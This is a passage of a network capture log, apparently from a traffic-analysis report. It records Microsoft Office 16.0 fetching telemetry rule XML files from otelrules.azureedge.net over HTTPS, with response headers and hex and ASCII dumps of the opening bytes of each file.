Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:56 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:56 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:56 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 6b04d5e8-e01e-000c-65ad-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000256Z-174c587ffdftv9hphC1TEBm29w00000000p0000000003ebt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:56 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:56 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:56 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:56 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4857c71c-401e-0067-7e3a-3c09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000256Z-15b8b599d88m7pn7hC1TEB4axw00000000u0000000000tsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:56 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:56 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:56 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:56 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: b5a95b30-c01e-002b-0632-3c6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000256Z-178bfbc474bscnbchC1NYCe7eg00000002b000000000bcws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:56 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:56 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:57 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:56 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: f77b0594-001e-0014-3c66-3b5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000256Z-178bfbc474bq2pr7hC1NYCkfgg00000002dg000000002mg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:57 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:56 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:57 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:56 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000256Z-174c587ffdfb5q56hC1TEB04kg00000000fg000000009kbq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:57 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:58 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:59 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:58 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000258Z-174c587ffdfcb7qhhC1TEB3x7000000000n000000000wcuv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:59 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:58 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:59 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:58 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 42455f54-301e-0051-494c-3c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000258Z-15b8b599d88tr2flhC1TEB5gk400000000q000000000p0n4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:59 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:58 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:59 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:58 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 1a818a33-b01e-005c-4475-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000258Z-174c587ffdf8lw6dhC1TEBkgs800000000m000000000pd4e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:59 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:58 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:59 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:59 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000259Z-178bfbc474bscnbchC1NYCe7eg000000026g00000000zg4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:59 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:58 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:59 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:59 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000259Z-174c587ffdfmrvb9hC1TEBtn3800000000qg000000007wfx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:59 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:00 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:01 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:01 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: fde4123d-901e-00a0-613d-3c6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000301Z-178bfbc474b9fdhphC1NYCac0n0000000240000000009zf6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:01 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:00 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:01 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:01 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: cb31e276-601e-00ab-1151-3c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000301Z-178bfbc474bmqmgjhC1NYCy16c00000002a0000000005utr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
